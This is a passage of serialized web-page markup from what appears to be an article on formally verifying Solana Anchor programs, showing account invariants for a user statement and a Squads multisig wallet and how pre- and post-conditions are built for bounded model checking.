positive:",{"type":23,"tag":202,"props":20811,"children":20813},{"code":20812,"language":205,"meta":7,"className":206,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[20814],{"type":23,"tag":209,"props":20815,"children":20816},{"__ignoreMap":7},[20817,20825,20833,20867,20874,20890,20913,20937,20961],{"type":23,"tag":213,"props":20818,"children":20819},{"class":215,"line":216},[20820],{"type":23,"tag":213,"props":20821,"children":20822},{"style":220},[20823],{"type":28,"value":20824},"#[account]\n",{"type":23,"tag":213,"props":20826,"children":20827},{"class":215,"line":226},[20828],{"type":23,"tag":213,"props":20829,"children":20830},{"style":220},[20831],{"type":28,"value":20832},"#[invariant(\n",{"type":23,"tag":213,"props":20834,"children":20835},{"class":215,"line":524},[20836,20841,20845,20850,20854,20858,20862],{"type":23,"tag":213,"props":20837,"children":20838},{"style":220},[20839],{"type":28,"value":20840}," self",{"type":23,"tag":213,"props":20842,"children":20843},{"style":274},[20844],{"type":28,"value":124},{"type":23,"tag":213,"props":20846,"children":20847},{"style":220},[20848],{"type":28,"value":20849},"assets ",{"type":23,"tag":213,"props":20851,"children":20852},{"style":274},[20853],{"type":28,"value":10026},{"type":23,"tag":213,"props":20855,"children":20856},{"style":220},[20857],{"type":28,"value":13873},{"type":23,"tag":213,"props":20859,"children":20860},{"style":274},[20861],{"type":28,"value":124},{"type":23,"tag":213,"props":20863,"children":20864},{"style":220},[20865],{"type":28,"value":20866},"liabilities\n",{"type":23,"tag":213,"props":20868,"children":20869},{"class":215,"line":533},[20870],{"type":23,"tag":213,"props":20871,"children":20872},{"style":220},[20873],{"type":28,"value":20313},{"type":23,"tag":213,"props":20875,"children":20876},{"class":215,"line":543},[20877,20881,20886],{"type":23,"tag":213,"props":20878,"children":20879},{"style":230},[20880],{"type":28,"value":9486},{"type":23,"tag":213,"props":20882,"children":20883},{"style":290},[20884],{"type":28,"value":20885}," UserStatement",{"type":23,"tag":213,"props":20887,"children":20888},{"style":220},[20889],{"type":28,"value":1375},{"type":23,"tag":213,"props":20891,"children":20892},{"class":215,"line":551},[20893,20897,20901,20905,20909],{"type":23,"tag":213,"props":20894,"children":20895},{"style":230},[20896],{"type":28,"value":913},{"type":23,"tag":213,"props":20898,"children":20899},{"style":268},[20900],{"type":28,"value":1125},{"type":23,"tag":213,"props":20902,"children":20903},{"style":274},[20904],{"type":28,"value":277},{"type":23,"tag":213,"props":20906,"children":20907},{"style":290},[20908],{"type":28,"value":419},{"type":23,"tag":213,"props":20910,"children":20911},{"style":220},[20912],{"type":28,"value":944},{"type":23,"tag":213,"props":20914,"children":20915},{"class":215,"line":570},[20916,20920,20925,20929,20933],{"type":23,"tag":213,"props":20917,"children":20918},{"style":230},[20919],{"type":28,"value":913},{"type":23,"tag":213,"props":20921,"children":20922},{"style":268},[20923],{"type":28,"value":20924}," assets",{"type":23,"tag":213,"props":20926,"children":20927},{"style":274},[20928],{"type":28,"value":277},{"type":23,"tag":213,"props":20930,"children":20931},{"style":290},[20932],{"type":28,"value":308},{"type":23,"tag":213,"props":20934,"children":20935},{"style":220},[20936],{"type":28,"value":944},{"type":23,"tag":213,"props":20938,"children":20939},{"class":215,"line":655},[20940,20944,20949,20953,20957],{"type":23,"tag":213,"props":20941,"children":20942},{"style":230},[20943],{"type":28,"value":913},{"type":23,"tag":213,"props":20945,"children":20946},{"style":268},[20947],{"type":28,"value":20948}," liabilities",{"type":23,"tag":213,"props":20950,"children":20951},{"style":274},[20952],{"type":28,"value":277},{"type":23,"tag":213,"props":20954,"children":20955},{"style":290},[20956],{"type":28,"value":308},{"type":23,"tag":213,"props":20958,"children":20959},{"style":220},[20960],{"type":28,"value":944},{"type":23,"tag":213,"props":20962,"children":20963},{"class":215,"line":1176},[20964],{"type":23,"tag":213,"props":20965,"children":20966},{"style":220},[20967],{"type":28,"value":1208},{"type":23,"tag":24,"props":20969,"children":20970},{},[20971,20973,20978],{"type":28,"value":20972},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":23,"tag":209,"props":20974,"children":20976},{"className":20975},[],[20977],{"type":28,"value":20807},{"type":28,"value":20979}," is created or modified.",{"type":23,"tag":24,"props":20981,"children":20982},{},[20983,20985,20991],{"type":28,"value":20984},"In another example, we developed the following invariant for the ",{"type":23,"tag":36,"props":20986,"children":20988},{"href":18876,"rel":20987},[40],[20989],{"type":28,"value":20990},"Squads Multisig",{"type":28,"value":20992}," wallet account:",{"type":23,"tag":202,"props":20994,"children":20996},{"code":20995,"language":205,"meta":7,"className":206,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[20997],{"type":23,"tag":209,"props":20998,"children":20999},{"__ignoreMap":7},[21000,21007,21014,21044,21103,21132,21184,21191,21211,21241,21271,21301,21330,21360,21390,21419,21458],{"type":23,"tag":213,"props":21001,"children":21002},{"class":215,"line":216},[21003],{"type":23,"tag":213,"props":21004,"children":21005},{"style":220},[21006],{"type":28,"value":20824},{"type":23,"tag":213,"props":21008,"children":21009},{"class":215,"line":226},[21010],{"type":23,"tag":213,"props":21011,"children":21012},{"style":220},[21013],{"type":28,"value":20832},{"type":23,"tag":213,"props":21015,"children":21016},{"class":215,"line":524},[21017,21022,21026,21030,21035,21039],{"type":23,"tag":213,"props":21018,"children":21019},{"style":274},[21020],{"type":28,"value":21021}," !",{"type":23,"tag":213,"props":21023,"children":21024},{"style":220},[21025],{"type":28,"value":13791},{"type":23,"tag":213,"props":21027,"children":21028},{"style":274},[21029],{"type":28,"value":124},{"type":23,"tag":213,"props":21031,"children":21032},{"style":220},[21033],{"type":28,"value":21034},"keys",{"type":23,"tag":213,"props":21036,"children":21037},{"style":274},[21038],{"type":28,"value":124},{"type":23,"tag":213,"props":21040,"children":21041},{"style":220},[21042],{"type":28,"value":21043},"is_empty()\n",{"type":23,"tag":213,"props":21045,"children":21046},{"class":215,"line":533},[21047,21051,21056,21060,21064,21068,21073,21077,21082,21086,21091,21095,21099],{"type":23,"tag":213,"props":21048,"children":21049},{"style":274},[21050],{"type":28,"value":15678},{"type":23,"tag":213,"props":21052,"children":21053},{"style":220},[21054],{"type":28,"value":21055}," (self",{"type":23,"tag":213,"props":21057,"children":21058},{"style":274},[21059],{"type":28,"value":124},{"type":23,"tag":213,"props":21061,"children":21062},{"style":220},[21063],{"type":28,"value":21034},{"type":23,"tag":213,"props":21065,"children":21066},{"style":274},[21067],{"type":28,"value":124},{"type":23,"tag":213,"props":21069,"children":21070},{"style":220},[21071],{"type":28,"value":21072},"len() ",{"type":23,"tag":213,"props":21074,"children":21075},{"style":274},[21076],{"type":28,"value":19468},{"type":23,"tag":213,"props":21078,"children":21079},{"style":290},[21080],{"type":28,"value":21081}," u16",{"type":23,"tag":213,"props":21083,"children":21084},{"style":274},[21085],{"type":28,"value":562},{"type":23,"tag":213,"props":21087,"children":21088},{"style":290},[21089],{"type":28,"value":21090},"MAX",{"type":23,"tag":213,"props":21092,"children":21093},{"style":230},[21094],{"type":28,"value":8913},{"type":23,"tag":213,"props":21096,"children":21097},{"style":290},[21098],{"type":28,"value":506},{"type":23,"tag":213,"props":21100,"children":21101},{"style":220},[21102],{"type":28,"value":2183},{"type":23,"tag":213,"props":21104,"children":21105},{"class":215,"line":543},[21106,21110,21114,21118,21123,21127],{"type":23,"tag":213,"props":21107,"children":21108},{"style":274},[21109],{"type":28,"value":15678},{"type":23,"tag":213,"props":21111,"children":21112},{"style":220},[21113],{"type":28,"value":21055},{"type":23,"tag":213,"props":21115,"children":21116},{"style":274},[21117],{"type":28,"value":124},{"type":23,"tag":213,"props":21119,"children":21120},{"style":220},[21121],{"type":28,"value":21122},"threshold ",{"type":23,"tag":213,"props":21124,"children":21125},{"style":274},[21126],{"type":28,"value":10026},{"type":23,"tag":213,"props":21128,"children":21129},{"style":220},[21130],{"type":28,"value":21131}," 1)\n",{"type":23,"tag":213,"props":21133,"children":21134},{"class":215,"line":551},[21135,21139,21143,21147,21151,21155,21159,21163,21167,21171,21175,21179],{"type":23,"tag":213,"props":21136,"children":21137},{"style":274},[21138],{"type":28,"value":15678},{"type":23,"tag":213,"props":21140,"children":21141},{"style":220},[21142],{"type":28,"value":21055},{"type":23,"tag":213,"props":21144,"children":21145},{"style":274},[21146],{"type":28,"value":124},{"type":23,"tag":213,"props":21148,"children":21149},{"style":220},[21150],{"type":28,"value":21122},{"type":23,"tag":213,"props":21152,"children":21153},{"style":230},[21154],{"type":28,"value":623},{"type":23,"tag":213,"props":21156,"children":21157},{"style":290},[21158],{"type":28,"value":506},{"type":23,"tag":213,"props":21160,"children":21161},{"style":274},[21162],{"type":28,"value":8283},{"type":23,"tag":213,"props":21164,"children":21165},{"style":220},[21166],{"type":28,"value":13873},{"type":23,"tag":213,"props":21168,"children":21169},{"style":274},[21170],{"type":28,"value":124},{"type":23,"tag":213,"props":21172,"children":21173},{"style":220},[21174],{"type":28,"value":21034},{"type":23,"tag":213,"props":21176,"children":21177},{"style":274},[21178],{"type":28,"value":124},{"type":23,"tag":213,"props":21180,"children":21181},{"style":220},[21182],{"type":28,"value":21183},"len())\n",{"type":23,"tag":213,"props":21185,"children":21186},{"class":215,"line":570},[21187],{"type":23,"tag":213,"props":21188,"children":21189},{"style":220},[21190],{"type":28,"value":20313},{"type":23,"tag":213,"props":21192,"children":21193},{"class":215,"line":655},[21194,21198,21202,21207],{"type":23,"tag":213,"props":21195,"children":21196},{"style":230},[21197],{"type":28,"value":233},{"type":23,"tag":213,"props":21199,"children":21200},{"style":230},[21201],{"type":28,"value":887},{"type":23,"tag":213,"props":21203,"children":21204},{"style":290},[21205],{"type":28,"value":21206}," Ms",{"type":23,"tag":213,"props":21208,"children":21209},{"style":220},[21210],{"type":28,"value":1375},{"type":23,"tag":213,"props":21212,"children":21213},{"class":215,"line":1176},[21214,21218,21223,21227,21231,21236],{"type":23,"tag":213,"props":21215,"children":21216},{"style":230},[21217],{"type":28,"value":913},{"type":23,"tag":213,"props":21219,"children":21220},{"style":268},[21221],{"type":28,"value":21222}," threshold",{"type":23,"tag":213,"props":21224,"children":21225},{"style":274},[21226],{"type":28,"value":277},{"type":23,"tag":213,"props":21228,"children":21229},{"style":290},[21230],{"type":28,"value":21081},{"type":23,"tag":213,"props":21232,"children":21233},{"style":220},[21234],{"type":28,"value":21235},", ",{"type":23,"tag":213,"props":21237,"children":21238},{"style":537},[21239],{"type":28,"value":21240},"// threshold for signatures\n",{"type":23,"tag":213,"props":21242,"children":21243},{"class":215,"line":1202},[21244,21248,21253,21257,21261,21266],{"type":23,"tag":213,"props":21245,"children":21246},{"style":230},[21247],{"type":28,"value":913},{"type":23,"tag":213,"props":21249,"children":21250},{"style":268},[21251],{"type":28,"value":21252}," authority_index",{"type":23,"tag":213,"props":21254,"children":21255},{"style":274},[21256],{"type":28,"value":277},{"type":23,"tag":213,"props":21258,"children":21259},{"style":290},[21260],{"type":28,"value":21081},{"type":23,"tag":213,"props":21262,"children":21263},{"style":220},[21264],{"type":28,"value":21265},", ",{"type":23,"tag":213,"props":21267,"children":21268},{"style":537},[21269],{"type":28,"value":21270},"// index to seed other authorities under this multisig\n",{"type":23,"tag":213,"props":21272,"children":21273},{"class":215,"line":1758},[21274,21278,21283,21287,21291,21296],{"type":23,"tag":213,"props":21275,"children":21276},{"style":230},[21277],{"type":28,"value":913},{"type":23,"tag":213,"props":21279,"children":21280},{"style":268},[21281],{"type":28,"value":21282}," transaction_index",{"type":23,"tag":213,"props":21284,"children":21285},{"style":274},[21286],{"type":28,"value":277},{"type":23,"tag":213,"props":21288,"children":21289},{"style":290},[21290],{"type":28,"value":17599},{"type":23,"tag":213,"props":21292,"children":21293},{"style":220},[21294],{"type":28,"value":21295},", ",{"type":23,"tag":213,"props":21297,"children":21298},{"style":537},[21299],{"type":28,"value":21300},"// look up and seed reference for transactions\n",{"type":23,"tag":213,"props":21302,"children":21303},{"class":215,"line":1767},[21304,21308,21313,21317,21321,21325],{"type":23,"tag":213,"props":21305,"children":21306},{"style":230},[21307],{"type":28,"value":913},{"type":23,"tag":213,"props":21309,"children":21310},{"style":268},[21311],{"type":28,"value":21312}," ms_change_index",{"type":23,"tag":213,"props":21314,"children":21315},{"style":274},[21316],{"type":28,"value":277},{"type":23,"tag":213,"props":21318,"children":21319},{"style":290},[21320],{"type":28,"value":17599},{"type":23,"tag":213,"props":21322,"children":21323},{"style":220},[21324],{"type":28,"value":21265},{"type":23,"tag":213,"props":21326,"children":21327},{"style":537},[21328],{"type":28,"value":21329},"// the last executed/closed transaction\n",{"type":23,"tag":213,"props":21331,"children":21332},{"class":215,"line":1789},[21333,21337,21342,21346,21350,21355],{"type":23,"tag":213,"props":21334,"children":21335},{"style":230},[21336],{"type":28,"value":913},{"type":23,"tag":213,"props":21338,"children":21339},{"style":268},[21340],{"type":28,"value":21341}," bump",{"type":23,"tag":213,"props":21343,"children":21344},{"style":274},[21345],{"type":28,"value":277},{"type":23,"tag":213,"props":21347,"children":21348},{"style":290},[21349],{"type":28,"value":293},{"type":23,"tag":213,"props":21351,"children":21352},{"style":220},[21353],{"type":28,"value":21354},", ",{"type":23,"tag":213,"props":21356,"children":21357},{"style":537},[21358],{"type":28,"value":21359},"// bump for the multisig seed\n",{"type":23,"tag":213,"props":21361,"children":21362},{"class":215,"line":1812},[21363,21367,21372,21376,21380,21385],{"type":23,"tag":213,"props":21364,"children":21365},{"style":230},[21366],{"type":28,"value":913},{"type":23,"tag":213,"props":21368,"children":21369},{"style":268},[21370],{"type":28,"value":21371}," create_key",{"type":23,"tag":213,"props":21373,"children":21374},{"style":274},[21375],{"type":28,"value":277},{"type":23,"tag":213,"props":21377,"children":21378},{"style":290},[21379],{"type":28,"value":419},{"type":23,"tag":213,"props":21381,"children":21382},{"style":220},[21383],{"type":28,"value":21384},", ",{"type":23,"tag":213,"props":21386,"children":21387},{"style":537},[21388],{"type":28,"value":21389},"// random key(or not) used to seed the multisig pda\n",{"type":23,"tag":213,"props":21391,"children":21392},{"class":215,"line":1838},[21393,21397,21402,21406,21410,21414],{"type":23,"tag":213,"props":21394,"children":21395},{"style":230},[21396],{"type":28,"value":913},{"type":23,"tag":213,"props":21398,"children":21399},{"style":268},[21400],{"type":28,"value":21401}," allow_external_execute",{"type":23,"tag":213,"props":21403,"children":21404},{"style":274},[21405],{"type":28,"value":277},{"type":23,"tag":213,"props":21407,"children":21408},{"style":290},[21409],{"type":28,"value":965},{"type":23,"tag":213,"props":21411,"children":21412},{"style":220},[21413],{"type":28,"value":424},{"type":23,"tag":213,"props":21415,"children":21416},{"style":537},[21417],{"type":28,"value":21418},"// allow non-member keys to execute txs\n",{"type":23,"tag":213,"props":21420,"children":21421},{"class":215,"line":1851},[21422,21426,21431,21435,21440,21444,21448,21453],{"type":23,"tag":213,"props":21423,"children":21424},{"style":230},[21425],{"type":28,"value":913},{"type":23,"tag":213,"props":21427,"children":21428},{"style":268},[21429],{"type":28,"value":21430}," keys",{"type":23,"tag":213,"props":21432,"children":21433},{"style":274},[21434],{"type":28,"value":277},{"type":23,"tag":213,"props":21436,"children":21437},{"style":290},[21438],{"type":28,"value":21439}," Vec",{"type":23,"tag":213,"props":21441,"children":21442},{"style":220},[21443],{"type":28,"value":434},{"type":23,"tag":213,"props":21445,"children":21446},{"style":290},[21447],{"type":28,"value":1532},{"type":23,"tag":213,"props":21449,"children":21450},{"style":220},[21451],{"type":28,"value":21452},">, ",{"type":23,"tag":213,"props":21454,"children":21455},{"style":537},[21456],{"type":28,"value":21457},"// keys of the members\n",{"type":23,"tag":213,"props":21459,"children":21460},{"class":215,"line":1864},[21461],{"type":23,"tag":213,"props":21462,"children":21463},{"style":220},[21464],{"type":28,"value":1208},{"type":23,"tag":24,"props":21466,"children":21467},{},[21468],{"type":28,"value":21469},"Here we are verifying multiple things at once:",{"type":23,"tag":168,"props":21471,"children":21472},{},[21473,21484,21495,21506],{"type":23,"tag":135,"props":21474,"children":21475},{},[21476,21482],{"type":23,"tag":209,"props":21477,"children":21479},{"className":21478},[],[21480],{"type":28,"value":21481},"!self.keys.is_empty()",{"type":28,"value":21483}," : ensure there is at least one member",{"type":23,"tag":135,"props":21485,"children":21486},{},[21487,21493],{"type":23,"tag":209,"props":21488,"children":21490},{"className":21489},[],[21491],{"type":28,"value":21492},"self.keys.len() \u003C= u16::MAX as usize",{"type":28,"value":21494}," : set an upper limit of 65535 members",{"type":23,"tag":135,"props":21496,"children":21497},{},[21498,21504],{"type":23,"tag":209,"props":21499,"children":21501},{"className":21500},[],[21502],{"type":28,"value":21503},"self.threshold >= 1",{"type":28,"value":21505}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":23,"tag":135,"props":21507,"children":21508},{},[21509,21515],{"type":23,"tag":209,"props":21510,"children":21512},{"className":21511},[],[21513],{"type":28,"value":21514},"self.threshold as usize \u003C= self.keys.len()",{"type":28,"value":21516}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":23,"tag":47,"props":21518,"children":21520},{"id":21519},"verification-how-do-we-check-that-our-model-is-correct",[21521],{"type":28,"value":21522},"Verification: How do we check that our model is correct?",{"type":23,"tag":24,"props":21524,"children":21525},{},[21526,21528,21532,21534,21539],{"type":28,"value":21527},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":23,"tag":87,"props":21529,"children":21530},{},[21531],{"type":28,"value":20023},{"type":28,"value":21533}," on which we can run bounded model checking. Our tool does this ",{"type":23,"tag":87,"props":21535,"children":21536},{},[21537],{"type":28,"value":21538},"automagically",{"type":28,"value":21540}," for anchor-lang programs.",{"type":23,"tag":24,"props":21542,"children":21543},{},[21544,21546,21552,21554,21559,21561,21566,21567,21572,21574,21579,21581,21586,21587,21593,21595,21601,21602,21608],{"type":28,"value":21545},"Specifically, for a given ",{"type":23,"tag":209,"props":21547,"children":21549},{"className":21548},[],[21550],{"type":28,"value":21551},"Context\u003CT>",{"type":28,"value":21553}," with ",{"type":23,"tag":87,"props":21555,"children":21556},{},[21557],{"type":28,"value":21558},"incoming",{"type":28,"value":21560}," accounts of types (",{"type":23,"tag":209,"props":21562,"children":21564},{"className":21563},[],[21565],{"type":28,"value":20794},{"type":28,"value":4675},{"type":23,"tag":209,"props":21568,"children":21570},{"className":21569},[],[21571],{"type":28,"value":287},{"type":28,"value":21573},") and ",{"type":23,"tag":87,"props":21575,"children":21576},{},[21577],{"type":28,"value":21578},"outgoing",{"type":28,"value":21580}," accounts of type (",{"type":23,"tag":209,"props":21582,"children":21584},{"className":21583},[],[21585],{"type":28,"value":287},{"type":28,"value":4675},{"type":23,"tag":209,"props":21588,"children":21590},{"className":21589},[],[21591],{"type":28,"value":21592},"close",{"type":28,"value":21594},") we define a ",{"type":23,"tag":209,"props":21596,"children":21598},{"className":21597},[],[21599],{"type":28,"value":21600},"pre_condition",{"type":28,"value":1466},{"type":23,"tag":209,"props":21603,"children":21605},{"className":21604},[],[21606],{"type":28,"value":21607},"post_condition",{"type":28,"value":21609}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":21611,"children":21612},{},[21613],{"type":23,"tag":209,"props":21614,"children":21616},{"className":21615},[4076,4077],[21617],{"type":23,"tag":213,"props":21618,"children":21620},{"className":21619},[4082],[21621],{"type":23,"tag":213,"props":21622,"children":21624},{"className":21623,"ariaHidden":1710},[4087],[21625,21661],{"type":23,"tag":213,"props":21626,"children":21628},{"className":21627},[4092],[21629,21634,21642,21647,21651,21657],{"type":23,"tag":213,"props":21630,"children":21633},{"className":21631,"style":21632},[4097],"height:0.6833em;",[],{"type":23,"tag":213,"props":21635,"children":21639},{"className":21636,"style":21638},[4103,21637],"mathnormal","margin-right:0.13889em;",[21640],{"type":28,"value":21641},"P",{"type":23,"tag":213,"props":21643,"children":21645},{"className":21644},[4103],[21646],{"type":28,"value":4116},{"type":23,"tag":213,"props":21648,"children":21650},{"className":21649,"style":4282},[4184],[],{"type":23,"tag":213,"props":21652,"children":21654},{"className":21653},[4287],[21655],{"type":28,"value":21656},":=",{"type":23,"tag":213,"props":21658,"children":21660},{"className":21659,"style":4282},[4184],[],{"type":23,"tag":213,"props":21662,"children":21664},{"className":21663},[4092],[21665,21670,21810,21814],{"type":23,"tag":213,"props":21666,"children":21669},{"className":21667,"style":21668},[4097],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":213,"props":21671,"children":21674},{"className":21672},[21673],"mop",[21675,21684],{"type":23,"tag":213,"props":21676,"children":21681},{"className":21677,"style":21680},[21673,21678,21679],"op-symbol","small-op","position:relative;top:0em;",[21682],{"type":28,"value":21683},"⋀",{"type":23,"tag":213,"props":21685,"children":21687},{"className":21686},[4120],[21688],{"type":23,"tag":213,"props":21689,"children":21692},{"className":21690},[4125,21691],"vlist-t2",[21693,21798],{"type":23,"tag":213,"props":21694,"children":21696},{"className":21695},[4130],[21697,21791],{"type":23,"tag":213,"props":21698,"children":21701},{"className":21699,"style":21700},[4135],"height:0.2253em;",[21702],{"type":23,"tag":213,"props":21703,"children":21705},{"style":21704},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[21706,21710],{"type":23,"tag":213,"props":21707,"children":21709},{"className":21708,"style":4145},[4144],[],{"type":23,"tag":213,"props":21711,"children":21713},{"className":21712},[4150,4151,4152,4153],[21714],{"type":23,"tag":213,"props":21715,"children":21717},{"className":21716},[4103,4153],[21718,21723,21729,21739,21745,21754,21763,21769,21774,21780,21785],{"type":23,"tag":213,"props":21719,"children":21721},{"className":21720},[4103,21637,4153],[21722],{"type":28,"value":36},{"type":23,"tag":213,"props":21724,"children":21726},{"className":21725},[4103,21637,4153],[21727],{"type":28,"value":21728},"cc",{"type":23,"tag":213,"props":21730,"children":21732},{"className":21731},[4184,4153],[21733],{"type":23,"tag":213,"props":21734,"children":21736},{"className":21735},[4153],[21737],{"type":28,"value":21738}," ",{"type":23,"tag":213,"props":21740,"children":21742},{"className":21741},[4287,4153],[21743],{"type":28,"value":21744},"∈",{"type":23,"tag":213,"props":21746,"children":21748},{"className":21747},[4184,4153],[21749],{"type":23,"tag":213,"props":21750,"children":21752},{"className":21751},[4153],[21753],{"type":28,"value":21738},{"type":23,"tag":213,"props":21755,"children":21757},{"className":21756},[4103,28,4153],[21758],{"type":23,"tag":213,"props":21759,"children":21761},{"className":21760},[4103,4153],[21762],{"type":28,"value":21558},{"type":23,"tag":213,"props":21764,"children":21767},{"className":21765},[21766,4153],"mopen",[21768],{"type":28,"value":265},{"type":23,"tag":213,"props":21770,"children":21772},{"className":21771},[4103,21637,4153],[21773],{"type":28,"value":3244},{"type":23,"tag":213,"props":21775,"children":21777},{"className":21776},[4103,21637,4153],[21778],{"type":28,"value":21779},"t",{"type":23,"tag":213,"props":21781,"children":21783},{"className":21782},[4103,21637,4153],[21784],{"type":28,"value":19329},{"type":23,"tag":213,"props":21786,"children":21789},{"className":21787},[21788,4153],"mclose",[21790],{"type":28,"value":2121},{"type":23,"tag":213,"props":21792,"children":21795},{"className":21793},[21794],"vlist-s",[21796],{"type":28,"value":21797},"​",{"type":23,"tag":213,"props":21799,"children":21801},{"className":21800},[4130],[21802],{"type":23,"tag":213,"props":21803,"children":21806},{"className":21804,"style":21805},[4135],"height:0.4747em;",[21807],{"type":23,"tag":213,"props":21808,"children":21809},{},[],{"type":23,"tag":213,"props":21811,"children":21813},{"className":21812,"style":4223},[4184],[],{"type":23,"tag":213,"props":21815,"children":21817},{"className":21816},[4103],[21818,21828,21833,21838,21843],{"type":23,"tag":213,"props":21819,"children":21821},{"className":21820},[4103,28],[21822],{"type":23,"tag":213,"props":21823,"children":21825},{"className":21824},[4103],[21826],{"type":28,"value":21827},"invariant",{"type":23,"tag":213,"props":21829,"children":21831},{"className":21830},[21766],[21832],{"type":28,"value":265},{"type":23,"tag":213,"props":21834,"children":21836},{"className":21835},[4103,21637],[21837],{"type":28,"value":36},{"type":23,"tag":213,"props":21839,"children":21841},{"className":21840},[4103,21637],[21842],{"type":28,"value":21728},{"type":23,"tag":213,"props":21844,"children":21846},{"className":21845},[21788],[21847],{"type":28,"value":2121},{"type":23,"tag":24,"props":21849,"children":21850},{},[21851],{"type":23,"tag":209,"props":21852,"children":21854},{"className":21853},[4076,4077],[21855],{"type":23,"tag":213,"props":21856,"children":21858},{"className":21857},[4082],[21859],{"type":23,"tag":213,"props":21860,"children":21862},{"className":21861,"ariaHidden":1710},[4087],[21863,21894],{"type":23,"tag":213,"props":21864,"children":21866},{"className":21865},[4092],[21867,21871,21876,21881,21885,21890],{"type":23,"tag":213,"props":21868,"children":21870},{"className":21869,"style":21632},[4097],[],{"type":23,"tag":213,"props":21872,"children":21874},{"className":21873,"style":21638},[4103,21637],[21875],{"type":28,"value":21641},{"type":23,"tag":213,"props":21877,"children":21879},{"className":21878},[4103],[21880],{"type":28,"value":4106},{"type":23,"tag":213,"props":21882,"children":21884},{"className":21883,"style":4282},[4184],[],{"type":23,"tag":213,"props":21886,"children":21888},{"className":21887},[4287],[21889],{"type":28,"value":21656},{"type":23,"tag":213,"props":21891,"children":21893},{"className":21892,"style":4282},[4184],[],{"type":23,"tag":213,"props":21895,"children":21897},{"className":21896},[4092],[21898,21902,22025,22029],{"type":23,"tag":213,"props":21899,"children":21901},{"className":21900,"style":21668},[4097],[],{"type":23,"tag":213,"props":21903,"children":21905},{"className":21904},[21673],[21906,21911],{"type":23,"tag":213,"props":21907,"children":21909},{"className":21908,"style":21680},[21673,21678,21679],[21910],{"type":28,"value":21683},{"type":23,"tag":213,"props":21912,"children":21914},{"className":21913},[4120],[21915],{"type":23,"tag":213,"props":21916,"children":21918},{"className":21917},[4125,21691],[21919,22014],{"type":23,"tag":213,"props":21920,"children":21922},{"className":21921},[4130],[21923,22009],{"type":23,"tag":213,"props":21924,"children":21926},{"className":21925,"style":21700},[4135],[21927],{"type":23,"tag":213,"props":21928,"children":21929},{"style":21704},[21930,21934],{"type":23,"tag":213,"props":21931,"children":21933},{"className":21932,"style":4145},[4144],[],{"type":23,"tag":213,"props":21935,"children":21937},{"className":21936},[4150,4151,4152,4153],[21938],{"type":23,"tag":213,"props":21939,"children":21941},{"className":21940},[4103,4153],[21942,21947,21952,21961,21966,21975,21984,21989,21994,21999,22004],{"type":23,"tag":213,"props":21943,"children":21945},{"className":21944},[4103,21637,4153],[21946],{"type":28,"value":36},{"type":23,"tag":213,"props":21948,"children":21950},{"className":21949},[4103,21637,4153],[21951],{"type":28,"value":21728},{"type":23,"tag":213,"props":21953,"children":21955},{"className":21954},[4184,4153],[21956],{"type":23,"tag":213,"props":21957,"children":21959},{"className":21958},[4153],[21960],{"type":28,"value":21738},{"type":23,"tag":213,"props":21962,"children":21964},{"className":21963},[4287,4153],[21965],{"type":28,"value":21744},{"type":23,"tag":213,"props":21967,"children":21969},{"className":21968},[4184,4153],[21970],{"type":23,"tag":213,"props":21971,"children":21973},{"className":21972},[4153],[21974],{"type":28,"value":21738},{"type":23,"tag":213,"props":21976,"children":21978},{"className":21977},[4103,28,4153],[21979],{"type":23,"tag":213,"props":21980,"children":21982},{"className":21981},[4103,4153],[21983],{"type":28,"value":21578},{"type":23,"tag":213,"props":21985,"children":21987},{"className":21986},[21766,4153],[21988],{"type":28,"value":265},{"type":23,"tag":213,"props":21990,"children":21992},{"className":21991},[4103,21637,4153],[21993],{"type":28,"value":3244},{"type":23,"tag":213,"props":21995,"children":21997},{"className":21996},[4103,21637,4153],[21998],{"type":28,"value":21779},{"type":23,"tag":213,"props":22000,"children":22002},{"className":22001},[4103,21637,4153],[22003],{"type":28,"value":19329},{"type":23,"tag":213,"props":22005,"children":22007},{"className":22006},[21788,4153],[22008],{"type":28,"value":2121},{"type":23,"tag":213,"props":22010,"children":22012},{"className":22011},[21794],[22013],{"type":28,"value":21797},{"type":23,"tag":213,"props":22015,"children":22017},{"className":22016},[4130],[22018],{"type":23,"tag":213,"props":22019,"children":22021},{"className":22020,"style":21805},[4135],[22022],{"type":23,"tag":213,"props":22023,"children":22024},{},[],{"type":23,"tag":213,"props":22026,"children":22028},{"className":22027,"style":4223},[4184],[],{"type":23,"tag":213,"props":22030,"children":22032},{"className":22031},[4103],[22033,22042,22047,22052,22057],{"type":23,"tag":213,"props":22034,"children":22036},{"className":22035},[4103,28],[22037],{"type":23,"tag":213,"props":22038,"children":22040},{"className":22039},[4103],[22041],{"type":28,"value":21827},{"type":23,"tag":213,"props":22043,"children":22045},{"className":22044},[21766],[22046],{"type":28,"value":265},{"type":23,"tag":213,"props":22048,"children":22050},{"className":22049},[4103,21637],[22051],{"type":28,"value":36},{"type":23,"tag":213,"props":22053,"children":22055},{"className":22054},[4103,21637],[22056],{"type":28,"value":21728},{"type":23,"tag":213,"props":22058,"children":22060},{"className":22059},[21788],[22061],{"type":28,"value":2121},{"type":23,"tag":24,"props":22063,"children":22064},{},[22065],{"type":28,"value":22066},"Our instruction invariants are represented 